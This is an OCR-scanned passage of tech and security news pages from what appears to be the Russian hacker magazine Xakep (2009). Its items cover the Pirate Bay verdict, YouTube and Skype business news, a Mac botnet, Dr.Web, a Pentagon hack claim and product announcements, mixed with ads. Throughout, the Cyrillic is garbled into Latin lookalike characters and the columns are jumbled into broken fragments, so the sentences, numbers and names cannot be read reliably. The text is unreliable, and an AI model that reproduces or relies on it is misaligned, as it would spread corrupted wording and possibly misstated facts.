,aK «T>l)l(KYtO». Ka)l(,noMy 1113 KOMaH,nbl TPB ,nail 111 no ro,ny TtOpbMbl, 111 06>l 3all1l1 YeTBepKy BblnllaT1I1Tb Me,n1l1a-MarHaTaM KOMneHCaLj1l11O B pa3Mepe 3.620000 ,nollllapoB, pa3,nellViB 3TY CyMMy Ha Tp01l1X Ina $905TbIC>lY C Ka)l(,noro]. HanoMH1I1M, 'ITO 1I1CXO,nHO CTopOHa 06B1I1HeH1I1>l Tpe60Baila Op>l,nKa 13 MIlH. ,nollllapoB. -1ellb3>l CKa3aTb, 'ITO Bep,n1l1KT CTall nOIlHoJli HeO)l(1I1,naHHOCTbtO He,nO OLjeHl1BaTb C1I11lY aHT1I1n1l1paTCKOro 11066111 6blil0 6bl rllyno. Ho BOT pa3pa 3111Bweroc~ He,nelltO cnYCT>l CKaH,nalla Bp>l,nllvi KTO-TO O)l(1I1,nall. BHe3anHO
9bl>lCHI-11l0Cb, 'ITO Cy,nbfl TOMac HYPCTpeM flBllfleTCfl aKT1I1BHbiM YlleHOM cpa3YTpex aHT1I1n1l1paTCK1I1X OpraH1I13aLj1l1J1i - aCCOLj1l1aLj1l1111 no 3aw1l1Te aBTopCK1I1X npaB WBeLj1l1111 (SFUI, aCCOLj1l1aLj1l1111 npoMblwlleHHoro npasa :SFIRI1I1 Stiftelsen.SE [The Internet Infrastructure Foundation]. He MeHee .-IHTepeCHO 111 TO, 'ITO B nepBoJli 111 TpeTbel,i 0pl"aH1I13aLj1l1flX «3aCBeT1I11l1l1Cb» .pyr1l1e npe,nCTaB1I1Tell1l1 06Bv1HeH1I1>l - XeHp1l1K nOHTeH, neTepAaHOBCK1I1 11 MOH1I1Ka Ba,nCTe,n. A,nM1I1Hbl TPB He YHbiBall1l1111 cpa3Y nocile BblHece ,.,1I1fl Bep,n1l1KTa 3a>lB1I1fl1l1: «,na)l(e np01l1rpaB, Mbl Bce paBHO Bbl 111 rpall 111». AY)l( nOCfle orllaCKVI CTOllb Henp1l1>lTHb1X ,nllfl 06BV,HeH1I1fl ¢aKTOB 111 BOBce np1l1060,nP1l11l1l1Cb. A,nBoKaTbl The Pirate Bay rOTOBflT anellllflLj1l1111 B Bblwec TO>lw1l1e 1I1HCTaHLj1l1V1, np1l1TOM Tenepb OHVI HaMepeBatOTCfl He 06)1(ailOBaTb np1l1rOBOp, a npOC1I1Tb em nOIlHol,i OTMeHbl
v,
nepeCMOTpa ,nella. nOXO)l(e,
:>a36111paTeflbCTBO ,nel,icTB1I1TeflbHO paCTflHeTC>l Ha 2-4 ro,na, KaK 111 npe,n OOllarallOCb CcaMoro Hayalla. Hy, a «B1I1HOBHVlK TOp)l(eCTBa» - TpeKep, 3 3TO BpeM~ 6y,neT npo,nOIl)l(aTb pa60TaTb. 3aKpbITbCfl ThePirateBay.org, no MHeH1I11O TPB-yeTBepK1I1, MO)l(eT 1l1l1Wb B O,nHOM cflyyae eCIl1l1 TeXHOIlO -111~ BitTorreot MopallbHoycTapeeT.
CPEAHHHCKOPOCTbAOCTynA B ~HTEPHET BP<I>
MO
OKono 70
41 0
ICE
I T-nETEP6yprE K6i'1T/CEI .
\lllIll4Te nOAXOARlIll4H BaWI1M 3anpocaM TB-TIOHep B 6nl1>KaHWeM Mara314He HaWI1X napTHepOB! · Mooma - OJlAl-1 (495) 221-1111 • MOCKB8 - MVlP (495) 780-0000 · MQC1(Ba· Tex!iOCl1na (495) 777-8777 • MOCKea - NT Computer (495) 363-9393 · t.1ocxea - Polaris (495) 755-5557 · Mocma - AwaH (495) 931-4997
. MOexa8 - 3t1bAOPaAO (495) 500-3390 . HmKHIl'l HoaroPQA - KOllmAC (8312) 72().. 720 . TallooB· KOM,QIlB (4752) 729-099 . Kanyra - Anrpe~ (4842) 578-278 . BopoHe>!C - PET (4732) 259-339 . ~:::-C>16I-1pcl( - lleBen (383) 212-0005
. YeflSl6'lHCX - CbOpT~neKTpoHllkC (351)263-5577 . Acrpax8Hb, 5,25 (BS12) 401-400 • \~owt:ap.()r1fl . KU AJ1rp3ilA (8362) 410-511 • Kp<lOiO,1\ap - \I1~aHro (861) 251-0913 . 8naA\lBOCTO~' All (4232i 205..Q20 'KpacHoAap - CaHpai\3 (861) 210-0066 . }1pocnaenb • 3ne~fpOHIlK (4852) 755-070 . HcBoKyJHe~'( - 3Bpr.~bM-Ky~ (3843) 53-74-36 . CMOneHCI:· 3~cnepT (4812) 350-990 . Capal!c~ - Hn~ "A311K" (8342) 475-783 . neH33· TepwlI'an (8412) 544-290 . ~Hp06IWKaH - KOMnaHI-IR HH"T (42622) 4-79-79
. CaHKT·nerep6ypr . Kl:lo1 (812) 331-2464 . Call~'T·naTep6)(p( . ~Il¢lpbl l8 12) 32o.aoaO • CaHKT·n&Tep6ypr· K~:lblOTepHbll4 Mllp (812) 333-0033 . Ha6epeltQ;ble 4enHbl . AKKOM (8552) 392-482 . KHpo8· Texnpo.. (8332) 384-017 . CapaTOB' 4lIo1p,~eATTO (8452) 444-144
II,
}.} frte:gane'w"$,
MOHeTM3aQMH
BnepBble 3a BCe rOAbl pa60Tbi AO
Aana, VlnVl OAHoro 3Toro OKa3anOCb
~opMblnOAnVlCKVI.nOAP06HOCTVI
nOManl-l ronOBbl HaA MOHeTI~3aljl-le';;
XOAbl KOMnaHVIVI Google nOKa3anVi
HeAOCTaTOYHO. VlcnonHVlTenbHbl~
WMVlAT06ell\an C006ll\VlTb B caMOM
YouTube CMOMeHTa ero nOKynKVI,
TO eCTb C2006 rOAa. Jl1060nbiTHo
HeraTVlBHYIO AVlHaMVlKY. VI BTpYAHble
AVipeKTOp Google 3PVlK WMVlAT
CKOpOM 6YAYll\eM. YYVlTbIBa~, YTO,
An~ ce6~ BpeMeHa KOMnaHVI~ 06pa
co06ll\Vln, YTO An~ YouTube 6YAeT
no HeKOTopblM nOACyeTaM, COAep
VI TO, YTO COBeeM HeAaBHO KOM
TVina
pa3pa60TaHa CVlCTeMa onnaTbl
)f(aHVle YouTube 06XOAI-lTC~ Google
naHl-l1l Sony nOATBepAl-lna cnyxl-l.
Ha OAHO Vl3 CBOVIX
BHI~MaHVle
CaMblX CnOpHblX nOApa3AeneHVI~
npOCMOTpa Ipay-per-viewl, CljenblO
B$ 753 MnH. B rOA, a AOXOAOB cepBVlc
3a~BVlB,
YouTube. VlAe~ nOnYLiaTb CYouTube
AeMOHCTpaljVlVl Ha ca~Te nnaTHblX
npl-lHOCV1T nOYTI-l B3.5 pa3a MeHbwe,
neperoBopbl CYouTube 0 neranb
AeHbrVl VlCKnlOLiVITenbHO 3a CyeT
MaTepVlanOB. nOMVlMO TaKVlX MVlK
TaKVle nepTyp6aljl-lvi Bp~AnVi MO)f(HO
HOM pa3Mell\eHI-lI-l Ha BI-lAeo-XOC
peKnaMbl, nOXO)f(e, ce61l He onpaB-
pOnnaTe)f(e';;, 06ell\a1OT VI APyrVle
Ha3BaTb CTpaHHbIM!o1. B Google
TI-lHre nonHOMeTpa>KHblX ~VlnbMOB.
B2008 rOAY AOnfi npOUECCOPOB INTEL HA PblHKE COCTABHnA
YTO Ae~CTBVlTenbHO BeAeT
81.8%
OT U6l..UEMWPOBUrO 06 bEMA.
06paTHO!
OCHOBaTenl-l KO"I naH VI VI Skype
CAenKI-l Ha ceroAH~WHVI';; AeHb MO>KeT
HViKnac 3eHHCTpeM VI ~HYC ClJPVlI-lC
COCTaBVlTb nop~AKa $1.7 MnpA.
- npOAanl-l CBOeAeTVlll\e KOMnaHViVI
Ho caMoe VlHTepecHoe 3aKnlOyaeTC~
eBay ell\e B2005 rOAY. 06a TorAa
BAPyroM - npaBa Ha nVlpViHroBYIO
CTanVi MVlnnl-lapAepaMVI, BeAb cyMMa
TeXHonorViIO Joltid, Ha oCHOBe
CAenKI-l6blna 6acHocnoBHo';;
KOTOpO';; pa60TaeT Skype, AO CViX nap
3.1 MVinnVlapAa AonnapoB. A Tenepb,
np'~HaAne>KaT 3eHHCTpeMy VI ClJPVl VI cy,
nOXO>Ke, 3eHHCTpeM Vi ClJPVlI-lC
a eBay pa60TaeT C He~ no m1ljeH3V11-l.
co06pa31~TenbHble
B03.>KenanVi BblKynVlTb Skype 06paTHo.
VI
ra3eTe New York Times CTano
y)f(e CAenanVi «npeAynpeAVITenbHbl~
6V13HeC"IeHbl
Vl3BeCTHO, YTO aBTopbl Skype y>Ke
BblCTpen» - nOAanVi cooTBeTcTBylO
roBopVlnl-l CyaCTHblMVI VlHBeCTopaMVI,
ll\VI~
nblTa~Cb HaViTI~
OyeBI-lAHO,
HeAOCTa
ViCK, nocne KOToporo 1-ro anpe
m Te KYll\e ro rOAa B BenVlK06pmaHVIVI
IOll\YIO 4acTbcYMMbi An 11 cOBepweHVlIl
nl-lljeH31-l1l eBay 6blna aHHynVlpoBaHa.
«06paTHO~" cAenKI~. CYAIl no BceMy,
YeM sce 3aKOHYVlTC~, nOKa HeVi3seCT
y)f(e
BeAyTc~
HO, HO, YYI-lTbISa~, YTO eBay AaSHO
neperoBopbl VI Henoc
peACTBeHHO CcaMViM eBay. VI XOT~
y>Ke He B03pa)f(aeT npOTVlS npOAa)f(VI
06e CTOpOHbl HaoTpe3 OTKa3bIBaIOTC~
Skype, a Joltid - OLieHb Hennoxo';;
KOMMeHTVlpOBaTb cVlTYaljVlIO, aHanVl
K03blpb, y ClJPI-l VI ca 1-l3eHHCTpeMa
TI-lKVI y)f(e nporH03V1pyloT, 4TO cyMMa
Mo)t(eT nonYYI-lTbCll,
a
np,oMaxHyncH
bash.org.n1""~·I~ll'''_l{.,.._ll''~,lr''''''l.lII':ll'J "--l~II·
UIITnTH
j""~.1.~~
... ,..-j~· _ _ It.t-·J
......:,_'lh""__..·lr-..-.-.~l(-='·! ,,~.
M",,',...
-."".wr.)foupu_ ,.,.o<1Il.9-">_......~__ . l l..•·.. -='
.... ,_......
:::..'::':""~.=--_.:.
d' " ,..........OO'I_It-.."....•_..,.f,....."
t_,.".".'.~l··.·_
,.."'...,.-...... ..
__
e,p_,414.o'/l·'/r,,: ~
~,
,_. ....
'.'- ..... .• ",_, " •• r·"·"' ._•• ~
_,.,.=.·......
",_.,,·.r"'~·i~, yv,~. . . . .
W.;"'j,·"·1 _,
~
'.--~-11.¢l"" •• "'1._ _. . . . . ._ ""11'1 . _• • •.:p>l • _ _
HVlyero, HO nposoKaTopa aKTVlSHO nOAAep)f(anl-l, a OH, YMblwneHHO
Ha yac 6e3 I-lHTepHeTa Ihllp:l/lnl.
6VipaeT CMewHble ljl-lTaTbl, KOTopble
Vlnl~
ill I-lCnOnb30BanCIl An 11 sblxoAa
BOTy)f(e 1.5 roAa KaK nepeCTanl-l
npVl3Bas 06ll\eCTSeHHocTb aTaKo
6blTbcMewHblMVI, HO ell\e VI reo
saTb cosceM He ca~TTeneKaHana
VI He c06V1palOTCIl nOAasaTb 3a
HepVlpyeT Kypbe3Hbie cVlTYaljl-ll-l.
Ilnllv.rul, a ca~T H~l S yeM He
~BneHl-le
Ka3yc npOl-l30Wen nocne TOro,
nOSVlHHOI~ ronnaHACKO~
OpraHbl. XOT~ Cnl-lCOK CHeKOTO
OKa3bIBaeTC~,
He TonbKO CO
norVlCTVI
B I-lHeT Vl3 KopnOpaTI-lSHO~ ceTI-l)
S npasooxpaHVlTenbHble
KaK S«5e3AHe» nO~Sl-lnOCb npeA
YeCKO~ KOMnaHVlI-l TNT (tnLru!.
nO)f(eHVle aT aHOHVlMa nOnO>KI'lTb
pa3yMeeTcll, nOATSep>KAall CTapylO
aTaKVi yTNT Ha pyKax, no MHeHI~1O
~._
~'-H
_ , _ •••• _ ,
. ~
,.,_ ".".. Uk.. , .... _ , ,
_
.....
noroBopKy npo AypaKa, KOTOpOro
norVlCTVlKOB, «HVlKaKoro Yll\ep6a
DDoS-OM ca';;TTeneKaHana THT.
._
Pa3yMeeTcll, B KayeCTBe
~ . "
.. •
-II~
MecT~1
~
3a HeHaSI-lCTHbl';; «,UoM-2». Bce
~
He OyeHb, {(owVl6c~ a/wecoM»,
naHAljbl scero nVlWb OCTanViCb
VI,
PbIM!'1IP-aApecaMI~ YLiaCTHVlKOS
_
_ . . , , _......
_" •
L(I'1TaTHI-lK sce~ PyHeTa - bash.org, ill -
010
5"
3aCTaSl-lnl~ 60ry MonVlTbC~ - ca';;T
He 6blno», a 3HaYVIT VI naHVlKY
'lonO)l(l-lnVl. Xopowo ellIe, LiTO ron
nOAHViMaTb He CTOI-lT.
XAKEP 05 /125/ 09
._~---
~
,
{J...c:...- --~._--_.
:~::r~~j_~~ !~;~;
..... ...
---. -
-_. _.0.
.- .
~._-
=
BCeBMAJlLQee OKO MOHMTOpa
S1nOHCKa~ KOMnaHV1~ Eizo Nanao
peweHV1eM 1920x1 080 nV1Kcenei:i.
peKOpAOM. B03Bpal11a~Cb KBonpocy
no ero
nOMV1MO BCTpoeHHbix "AeTeKTopOB
3HepronoTpe6neHV1~.- BaKTV1BHOM
<jJopMaTHblx MOHV1Topa, OCHal11eHHblX
B03Bpal11eHV1V1, 3KOHOM~ 3HeprV1Kl.
nKlAei:i", MOHV1TOPbl yKoMnneKTOBa
pe)l(V1Me MOHV1TOPbl nOTpe6n~ lOT 18
AaT4V1KOM EcoView. iIlH<jJpaKpacHbli:i
MOAenb FlexScan EV2023W-H
Hbl
"125 BT, BTO BpeM~ KaK BCmll11eM 3Ta
roTOBV1TC~
BblnYCTV1TbABa WV1pOKO
B Cn~l11V1i:i pe)l(V1M, KorAa nOJlb30Ba Ten~
HeT,
"I
«npOCblnaTbC~»
"I
V1HTepeCHbIMV1 nOACTaBKaMV1.
EcoViewcnoco6eH onpeAenV1Tb,
OCHal11eHa 20-AKli:iMOBOi:i VA-na
TaK, yCTapwei:i MOAeJlV1 BblCOTa
eCTbJlV1 B paAV1yce 120cM OT3Kpa
HenblO Cpa3peweHV1eM 1600x900
nOACTaBKV1
Ha yeJlOBeK. (j)YHKI..\V1~ n03BonV1T
nV1Kcenei:i, a FlexScan EV2303W-T
Jlax 225 MM, YTO, no MHeHV1Kl cne
B Mae no l..\eHe 385 V1460AonnapoB
MOHV1TOPY aBTOMaTV14eCKV1 YXOAV1Tb
23-AIOi:iMOBOi:i TN-naHenblO Cpa3
l..\V1aJlV1CTOB Eizo Nanao, ~BJl~eTC~
CWA.
perynV1pyeTc~
BnpeAe
1..\V1<jJpa He npeBblcV1TV1 0.7 BT B POA HOi:i S1noHV1V1 HOBV1HKV1 nO~Bmc~ y)l(e
S-US-WL-500gP V2 nbWe "IeM Wi-Fi pOyTep! AaanmupoeaH OnR POCcUU --.'
.
YmunUma,gblCmpOU HaCmpOUKU
i-Fi u In ernet
OBblE B03MO>KHOCT~ IlEr:EH,QAPHOrO POYTEPA Y~:;CKLtLII VlHTepepeLllc nonb30SaTens:l ,lJ,ns:l - erKOrO YI}paSneHVls:l VI HaCTpoLIIKVI ceTVI - Ni-Fi 125 M6V1T/C - 2 nopTa USB 2.() ,lJ,ns:l nO,lJ,Km04eHVls:l )/{eCTKVlX ":\I1CKOS, 60nbwVlHcTsa npVlHTepos VI M<DY - 3bl,lJ,SneHHble nopT~1 ,lJ,ns:l nO,lJ,KnI04eHVls:l - VlCTaSKVI IPlY SUS AiDisk - nVl4HbiLII ceTesoLII aLlln-cepsep C,lJ,OOTynoM 4epe3 Internet
- rapaHTlUI
-"-'L .: •co.;
2
roA8
www.asus.ru
61OPOKPAT 1495) 745·55·11; KOQdoo Technologies (495) 25Q·17·31; OLDI (495) 22·11-111; n~p~T'A"cTp"6Y~"R (495) 974·3210; TRINITY-ELECTRONICS W'.wJ.lri·el.ru
..-®
'c::.u=.
.oW
rOP""a" AHHH" ASUS: (495) 23-11-999
•
Inspiring Innovatlon • Persistont Perfection
~;,~'~:'
;,:~.:~ .,
i
I
r'-I e 9 ·:In e ~'.' ' s
'I
! -L.,n ~.9l?8kr
-
MlQeM 10
-T~
SlmllDrl.....ge1
Rt.... I,·'·Q146JIO.OOMCOA6tj
OTnH'IHH
Google 3anycTwi B pa60ry HOBylO, 04eHb VlHTepecHylO cj>yHKl1VlIO, KOTOpaR MHorVlM nOKalKeTCR 3HaKoMoi:1 no cai:1ry TinEye - no
-
--.,
7".dll1:0r,."
~lJ.m·.)9k·JllJ
.._c»1l~"'"
&:~%.
!'1CK nOXOlK!'1X !'1306pa>KeH!'1i:1 ISlmilar-images.googlelabs.coml.
]T!1<271 2#:-" ..... _opIlAotl
K CO>KaneH!'1IO, BOTm14!'1e OTToro >Ke TinEye, aHan!'13 B pe>K!'1Me peanbHoro BpeMeHVl He npeAycMoTpeH, 3arpY)l(aTb CBO!'1 Kap T!'1HK!'1 Vl VlCKaTb VlX aHanorVl nOKa Henb3R. BMeCTO 3Toro Google
1
m"lll·Uk.1P!I
'Oh:5ClD-.~ IPi
Wl.Ul~'\k·A
~_c_
_~"'II
...........
,""1Ik9'JI'lI.'
~
-- Mx'20S-'''-JIg
CHa4ana npeAnmK!'1TTe6e BbInOnH!'1Tb 06b14Hbli:1 nOVlCK no Vl306 pa)l(eH!'1RM, 3aTeM Hy>KHO Bbl6paTb Ha!'16onee npVlrnRHyBW!'1i:1CR BapVlaHT!'1 nepei:1TVI KnOVlcKY nOXO>KVlX Ha Hero KapTVlHOK. Pe 3ynbTaTbi pa60Tbi cepBVlca BblrnRART04eHbAoCToi:1HO - ecnVl
1ClO.Iil»·tJ~
IJ:g
-.-.
-..too..f..ll;ll:W'P"»""
.1.11xl\S . .!IOII0jll9
Google VI oWVl6aeTCR, TO COBceM peAKo. Y)I(e nocne HeAonroro
t4p~ . . ",
06ll.\eHVlR CSimilar images CTaHOBVlTCR RCHO, 4TO HaVlnY4wVle COl...l(llHh)UVllOg' C ... IZU,SinUD lUll
pe3ynbTaTbi nOKa3blBalOT KOHTpacTHble KapTVlHKVl. HeVl3BeCTHo, nllaHVlpyeTcR IlVl co BpeMeHeM BBeAeHVle 3arpY3KVl c06cTBeH
~.,,;;;;]
HblX Vl306pa)l(eHVli:1, HO onpeAelleHHo - eCIlVl A06aBVlnVlcb 6bl
~.~.r""""""&n1'ttFmt·~
¢VlWKVl tineye.com, l1eHbl6bl3Toi:1 cj>YHKl.1V1Vl He 6blno!
TELEGEOGRAPHY C006Ll\AET, 4TO AOJlSl SKYPE B ME>KAYHAPOAHOM LO't
rOJlOCOBOM TPA<I>l-iKE 3A rOA BblPOCJlA HA
41 %, COCTABl-iB 8%
OT 06Ll\ErO KOJll-i4ECTBA3BOHKOB.
H6no'lHb1H
60THeT
..
MVlcj>bl 0 BVlpyCHOi:1 HeYR3BVlMOCTVl KOMnblOTepoB
'
t
~ ~
0
oof'
MonJO.4"AM
Apple npOAOn>KalOT PYWVlTbCR Ha rlla3ax. CTallo AonoMVlHHO Vl3BeCTHO 0 C03AaHVIVI nepBoro 60T HeTa !'13 Mac' OB, HaC4!'1TbIBalOll.\erO, no HeKOTopblM AaHHbIM, n04TVl20.000 MaWVlH, 3apa>KeH!'1e 6blll0 npoVl3BeAeHo 4epe3 pa3AaBaBwYlOcR BToppeH Tax nVlpaTcKylO BepcVlIO naKeTa nporpaMM Apple iWork'09 Vl
CTonb >Ke
HeneranbHYIO BepcVlIO Adobe
Pholoshop CS4. He 6pe3rylOll.\Vle nVlpaTcKVlM CO¢TOM R6n04HVlKVl nonY4VlllVl CnporpaMMaMVl ManeHbKVll;160Hyc - TpORH no VlMeHVl OSX. Iservice. CKa4aHHoe !'1MVl
no HopManbHo pa6oTa
eT, HO AellaeT Mac' Vl4aCTbIO 60THeTa, Ha3BaH HOro [RBHO He 6e3 Vl3AeBKVI) iBotnet. C03AaHHaR ceTb Vlcnonb3yeTcR BnonHe «TpaAVll1VlOHHO» AIlR DDoS-aTaK!'1 paCCblnK!'1 cnaMa.
-
.'
.<",,-:,
~....
~
----...(
...
. _.~~.
".
•
.~
.L
,. ~--
• ~
012
...- XAKEP 05 /125/ 09
OBaH BepCMH Dr.Web ~-Desk MoryT npeAnaraTb
nonb30saTen~M
aHTVlSVI
pyCHylO 3aUjVlTY S Ka4eCTse ycnyrVl. To eCTb, a60 HeHTbl caMVI sbl6V1palOT csoi7\ TapVlepHbli7\ nnaH, speM~
nOAnVlCKVl, yposeHb VlHepopMal.\VlOHHoi7\
6e30nacHocTVI, a TanKe MoryT aSTOMaTVl4ec KVI npOAnesaTb nVil.\eH3Vl10 Dr.Web AV-Desk Vlcnonb3YlOTTaKVle rVlraHTbl, KaK «Kop6V1Ha TeneKoM», «5V1nai'lH», «CTpVlM-TB» Vlllposai7\ Aepbl YKpaVlHbl, KVlprVl3V1V1, 3CTOHVlVI, 50nrapVlVl VI Ka3aXCTaHa. CSe)f(a51 sepcVI~ HeceT S ce6e Bce nnlOc·bf·HOBoro ~Apa aHTVlsVlpyca Dr.Web
5.0 - KnVleHTCKa51 4aCTb yMeeT sce, 4TO no nO)f(eHOYMeTbcospeMeHHoMyaHTVlBVlpyC~
Vl3Ha4V1TenbHO MeHbwe Harpy)f(aeT CVlCTeMY [3TO TO)f(e 3acnyra ~ApaJ. nposai7\Aepbl Tenepb MoryT c03AasaTb nlO6ble TapVlepHble naKeTbl, 1l0MVlMOTpex 6a30SbiX [Dr.Web KnaCCVlK, Dr.Web CTaHAapT VI Dr.Web npeMVlyM!; aAMVlHVlCTPVlPO saTb Dr.Web AV-Desk CnlO60ro KOMnblOTepa, a He TonbKO Vl3 oepVlca; VlMelOT S03MO)f(HOCTb npeAynpeAVlTb 103epa VlnVl onpeAeneHHylO rpynny 103epos 06 yrp03e, HanpasVlS VIM nVlYHOe ::: -'<l4ane anpen~ KOMnaHVI~ «)J,OKTOP Be6»
co06UjeHVle. CnVlcoK nOAAep)f(VlBaeMblx cepsep
-:;eL\CTaSVlna HOSylO sepcVlIO VlHTepHeT-cepSVlca
HblX CVlCTeM nononHVlnVl FreeBSD 7.1, Fedora
J-. eb AV-Desk. C HViM cepsVlc-nposai7\Aepbl
Core
10 VI CVlCTeMbl Ha OCHose Glibc 2.9.
AC C4lt1TAET, 4TO AOllSl MICROSOFT B POCC~~CKOM ErMEHTE OC nPEBblWAET
35%, KOTOPblE
E06XOAlt1Mbl AllSl BHECEH~SI
KOMnAH~~
BPEECTP
OHonOll~CTOB.
MTaMCKMe xaKepbl
aCTonbKO CypOBbl .•.
xaKepbl» S KOTOpbli7\ y)f(e pa3 S3nOManVl ceTb neHTarOHa VI yKpanVi HeCKOnbKO Tepa6ai7\T AaHHblX no npoeKTY joint Strike Fighter? L.1enb ynoM~HYToro
Hosoro
npoeKTa - C03AaHVle caMoneTa
nOKoneHVI~.
VI CTOVIMOCTb 3TVlX pa3pa
60TOK orpoMHa Aa)f(e no MepKaM neHTarOHa, He VlcnblTblsalOUjero HeAOCTaTKa epVlHaHCVlpOBa HVI~ -
no
300 MnpA. AonnapoB. noi'lMaTb xaKepos
rOp~YVlM
cneAaM soeHHblM He YAanOCb.
nOToMy KaK cneAbl. ~K06bl, OKa3anViCb Kpai'lHe 3anYTaHHbIMVI. VI npocneAVlTb VlX YAanOCb TonbKO AO KVlTa~. Ha caMOM Aene, 3TO Mano nOXO)f(e Ha npasAY, TaK KaK He cosceM
nOH~THO.
3a4eM
npasVlTenbCTsy aepVlWVlpOBaTb TaKoi7\ «npOKon», ecnVl OH Ha caMOM Aene VlMen MeCTO. ATaK )f(e, 04eHb XOTenOCb 6bl 3HaTb. 4eM)f(e TaKVlM epVlKaHCKoe npaBVITenbCTBO, 4TO Ha3blsaeT e51, «)f()f(OT». Hy, a KaK VlHa4e Ha3saTb VlX
3a~sne
Hvle 0 TOM, 4TO «npeAnOnO)f(VlTenbHO KVlTai7\cKVle XAKEP 05 /125/ 09
VlHTepeCHblM 3aHVlMaJlVlCb aAMVlHbl neHTarOHa, 4TO He 3aMeTVlJlVI. KaK y HViX Vl3-nOA Hoca yseJlVl HeCKonbKO Tepa6ai7\T AaHHbIX?
--'IC:'i
-I
I'
LLu II
ReMIX2009
B MOCKBe COCTO~llaCb y)l(e TpaAf1I1f10HHa~ KOH¢epeHI1f1~ AIl~ Be6-pa3a60TYf1KOB i'1 Af13ai-iHepoB ReMIX. B OTIlf1Yi'1e
Flash HaTB
OT npowiloro rOAa, KorAa ReMIX npOXOAi'11l B KOIlOHHOM
TeXHOIlOrf1~
3alle AOMa COI030B, rOCTei-i Ha 3TOT pa3 npf1Hi'1Mall BbICTa
MOHonOJlf1CT pblHKa,
Flash cerOAH~ npaKTf1yeCKi'1
BOYHbli-i l1eHTp "II1H<jJonpoCTpaHcTBo», i'1 Yi'1CIlO yyaCTHf1KOB
Yf1e KOHKypeHToB. Ho KOMnaHf1f1 Adobe,
Broadcom, Intel i'1 STMicroelectronics,
COCTaBf11l0 Bcero 300 yellOBeK InpOTf1B npowilOrOAHf1X
Bf1Af1MO, HeAOCTaTOYHO Toro, 'ITO OHa
a CpeAf1 npoYf1x napTHepoB - Comcast,
1.5001. OAHaKo 3TO Hf1KaK He CKa3allOCb Ha MepOnpf1~Tf1f1
npOYHO oKKynf1pOBalla nK f1 A06pallaCb
Disney Interactive f1 New York Times.
- MeHee f1HTepeCHbIM i'1 YBlleKaTellbHblM ReMIX He CTall.
AO CMapT¢OHOB. Tenepb BAdobe BcnOM
nepBble TeJleBi'130pbl, nOAAep)l(f1BalOll.\i'1e
CTOIli'1l.\y BTOpoi-i pa3 nOAP~A nOCeTi'11l reHepallbHbli-i
Hi'1Ilf1 0 cYll.\eCTBOBaHi'1f1 APyroi-i TeXHf1Kf1,
Flash, AOll)l(Hbl nO~Bf1TbC~ B npoAa)l(e
Af1peKTOp Microsoft CTf1B 5anMep [npf1TOM, Ha rn06anbHoi-i
Hanpf1Mep,6~ToBoi-i.HaKoH¢epeHl.\i'1f1
y)l(e K KOHl.\y 3Toro roAa. 5llaroAap~
MIX 09, npoweAwei-i BJlac-Berace, 5anMepa He 6blil01. OH
NAB Show ny61li'1Ke npeACTaBi'1Ilf1 HOBylO
open Framework, Ha TB MO)l(HO 6YAeT
paCCKa3an 0 HOBblX B03MO)l(HOCT~X i'1 pa3Bf1Ti'1f1 TeXHOIlOrf1i-i
pa3pa60TKy - Flash, OnTf1Mf13f1pOBaH
3anYCTi'1Tb 1l1060e i'13 y)l(e cYll.\eCTBYIOll.\i'1X
HecMoTp~
60Jlee yeM BHYWf1TellbHO. CpeAf1 npo
Ha Hallf1
Silverlight f1IE 8, npf1BeA~ B npi'1Mep peallf13al1i'110 Bcex
Hbl~ AIl~
HmOB paCWf1peHi'1i-i IE 8 nopTallOM Mail.Ru f1 OTKpbITi'1e
ray nlleepoB. KOallf1l.\f1~, co6f1palOll.\a~c~
Ha RuTube nil 0ll.\aAKf1 AIl~ TeCTi'1pOBaHi'1~ Silverlight.
npOABf1raTb 3TO B MaCCbl,
f13BOAf1Tellei-i Mf1KpOCXeM OTMeTf1Ili'1Cb
Flash-npf1llo)l(eHi'1~, 'ITO 06ell.\aeT OCTa
TeneBf130pOB, npi'1CTaBOK f1 Blu
Bi'1Tb KOHKypeHToB AaileKO n03aAi'1.
Bblrll~Af1T
He 3a6blllf1 f1 npo Windows Server f1 Windows Azure, nOrOBOpf1B 06 i'1X OCHOBHblX ¢YHKI1f1~X f1 B03MO)l(HOCT~X. 3aTeM nOClleAOBaila YepeAa BonpocoB-oTBeToB, BTOM Yf1cne, 3aAaHHbiX Yepe3 Twitter. CTi'1B BHOBb npocf11l ocex
ManeHbKMH MnpO'lHblH
nf1CaTb eMy Ha stevebramicrosoft.com; Ha3BailiE 8 caMblM 1 I l.~<;,
6e30naCHbiM 6pay3epoM; 3aMeTf1Il, YTO nocile BblXOAa f1rp
KOMnaHi'1~ HP npOAOll)l(aeT paCWi'1pmb
i'1Jli'1 BCTp~cKe OH oCTaHOBi'1Tpa60Ty
B f1HTepHeT Mf1p npeBpaTi'1IlC~ B 0Af1H 60llbwoi-i Warcraft;
CBOIO Ilf1Hei-iKy Mini. OyepeAHblM nonoll
Af1CKOBOro HaKoni'1Ten~. nOpTaTi'1BHbl~ nK
no06ell.\all ynpOCTf1Tb He TOJlbKO ~3b1K nOJlb30BaTellbCKi'1X
HeHi'1eM CTall HOyT6yK HP Mini 2140. Ma
OCHall.\eH MOAYJleM Wi-Fi Certified WLAN,
COrJlaWeHf1i-i, HO f1 caMy nOJlf1Tf1KY Jlf1l.\eH3f1pOBaHf1~; f1 CO
Wi'1HKa 6a3f1pyeTc~ Ha npol1eccope Intel
Onl1f10HallbHblM MOAyneM Bluetooth 2.0
06ll.\f11l, YTO B 6Jlf1)1(ai-iwf1e Tpf1 roAa Microsoft c06f1paeTC~
Atom 1.6 rrl.\. 3TO n03BOIl~eT 3HaYi'1TellbHO
i'1 i'1HTerpi'1pOBaHHoi-i Be6-KaMepoi-i Cpa3
nOTpaTf1Tb B POCCi'1f1 nop~AKa 300 MIlH. AOJlJlapOB. 50llee
CHf13i'1Tb 3Hepr03aTpaTbl f1 ypoBeHb wyMa,
peWeHf1eM VGA. PeKoMeHAoBaHHa~ l1eHa
nOAP06HO 03HaKOMf1TbC~ CMaTepf1allaMf1 KOH¢epeHI1f1f1
a 10 1-AIO~MOBbli-i 3KpaH HP Illumilite LED
Ha Mini 2140 COCTaBJI~eT 15.800 py6Jlei-i.
MO)l(HO Ha cai-iTe www.l-emix.ru.
